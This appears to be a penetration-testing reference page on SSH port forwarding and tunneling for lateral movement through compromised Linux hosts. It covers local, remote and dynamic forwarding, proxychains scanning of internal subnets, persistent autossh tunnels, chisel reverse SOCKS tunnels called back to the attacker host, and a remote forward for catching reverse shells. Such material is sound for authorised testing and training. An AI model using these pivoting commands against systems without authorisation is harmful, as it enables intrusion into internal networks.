# SSH Port Forwarding and Tunneling on Linux

> Covers SSH local, remote & dynamic port forwarding techniques to tunnel traffic, bypass network restrictions and pivot through compromised Linux hosts.

- **URL:** https://hackindex.io/platforms/linux/lateral-movement/ssh-port-forwarding-and-tunneling
- **Path:** Linux > Lateral Movement
- **Up:** [Lateral Movement](https://hackindex.io/platforms/linux/lateral-movement.md)
- **Published:** 2026-03-16
- **Updated:** 2026-07-14

SSH port forwarding turns a compromised Linux host into a pivot point, exposing services in internal network segments that are otherwise unreachable from your attacker machine. Three forwarding modes cover the main use cases: local forwarding to reach an internal service, remote forwarding to expose your listener into the target network, and dynamic forwarding to proxy arbitrary traffic through the host.

All examples assume you have valid SSH credentials or a key for the pivot host.

SSH forwarding modes at a glance:

- Local (`-L`): reach an internal service from your attacker machine
- Remote (`-R`): expose your listener into the target network
- Dynamic (`-D`): SOCKS proxy for routing arbitrary traffic through the pivot
- Chisel: same forwarding capabilities over HTTP when SSH is not available

## Local Port Forwarding

Forwards a port on your attacker machine to a host and port reachable from the pivot.

```bash
ssh -L $LPORT:INTERNAL_HOST:INTERNAL_PORT $USER@$TARGET_IP -N
```

After connecting, traffic to `127.0.0.1:$LPORT` on your machine is forwarded through `$TARGET_IP` to `INTERNAL_HOST:INTERNAL_PORT`.

Practical example: reaching an internal web admin panel at `10.10.20.5:8080` through a pivot at `$TARGET_IP`:

```bash
ssh -L 8080:10.10.20.5:8080 $USER@$TARGET_IP -N
```

Now open `http://127.0.0.1:8080` locally. All traffic goes through the pivot.

`-N` prevents a shell from opening: use it when you only need the tunnel. Drop `-N` if you want both a shell and the tunnel active.

## Local Forwarding to Localhost Services

Use local forwarding to reach services bound to `127.0.0.1` on the pivot host itself: these are invisible from outside:

```bash
ssh -L $LPORT:127.0.0.1:3306 $USER@$TARGET_IP -N
```

Then connect your local MySQL client to `127.0.0.1:$LPORT` to interact with the remote MySQL as if it were local.

## Remote Port Forwarding

Forwards a port on the pivot host back to a listener on your attacker machine. Use this to receive a reverse shell or callback from a host deep inside the network that cannot reach you directly.

```bash
ssh -R PIVOT_PORT:$LHOST:$LPORT $USER@$TARGET_IP -N
```

Any connection to `127.0.0.1:PIVOT_PORT` on the pivot is forwarded back to `$LHOST:$LPORT` on your machine.

From the pivot, trigger a reverse shell pointing to `127.0.0.1:PIVOT_PORT`: the connection comes back to your listener.

## Dynamic Port Forwarding: SOCKS Proxy

Dynamic forwarding creates a SOCKS proxy on your attacker machine. All traffic sent through the proxy is forwarded by the pivot to any destination it can reach: no need to specify a single target host and port.

```bash
ssh -D $LPORT $USER@$TARGET_IP -N
```

Configure proxychains to use the SOCKS5 proxy. Edit `/etc/proxychains4.conf`:

```ini
[ProxyList]
socks5 127.0.0.1 $LPORT
```

Then prefix any command with `proxychains` to route it through the pivot:

```bash
proxychains nmap -sT -Pn -p 22,80,443,3306 10.10.20.0/24
proxychains ssh $USER@10.10.20.5
proxychains curl http://10.10.20.10/
```

SOCKS proxying does not support ICMP: use `-Pn` with nmap and TCP scan types only.

## Keeping Tunnels Alive

SSH tunnels drop when the connection idles. Add keepalive options:

```bash
ssh -D $LPORT -o ServerAliveInterval=30 -o ServerAliveCountMax=3 $USER@$TARGET_IP -N
```

For a persistent tunnel that reconnects on failure, use `autossh`:

```bash
autossh -M 0 -D $LPORT -o ServerAliveInterval=30 $USER@$TARGET_IP -N
```

## Tunneling Without SSH Access: Chisel

When you have a shell but no SSH access to the pivot (no credentials, port filtered, or SSH not installed), `chisel` provides the same forwarding capabilities over HTTP.

On your attacker machine:

```bash
chisel server -p $LPORT --reverse
```

On the pivot:

```bash
./chisel client $LHOST:$LPORT R:socks
```

This opens a SOCKS proxy on your attacker machine at port 1080 by default. Use with proxychains as above.

## Multiple Hops

To reach a host two hops away (through pivot A to pivot B to the target), chain forwards:

```bash
# First hop: local port 2222 -> pivot A -> pivot B port 22
ssh -L 2222:PIVOT_B:22 $USER@PIVOT_A -N

# Second hop through the forwarded port
ssh -L $LPORT:INTERNAL_HOST:INTERNAL_PORT $USER@127.0.0.1 -p 2222 -N
```

Or use the `ProxyJump` option for cleaner chaining:

```bash
ssh -J $USER@PIVOT_A $USER@PIVOT_B
```

`ProxyJump` is the modern equivalent of the older `ProxyCommand nc` approach and handles the chaining internally.

## References

- [ssh(1)](https://man.openbsd.org/ssh.1) -  OpenBSD manual page Full reference for -L, -R, -D forwarding options, -N, -J ProxyJump, and connection options.
- [jpillora/chisel](https://github.com/jpillora/chisel) - GitHub Fast TCP/UDP tunnel over HTTP with SOCKS5 proxy support. Used when SSH port forwarding is not available.
- [haad/proxychains](https://github.com/haad/proxychains) - GitHub proxychains: routes TCP connections through SOCKS4/5 or HTTP proxies.
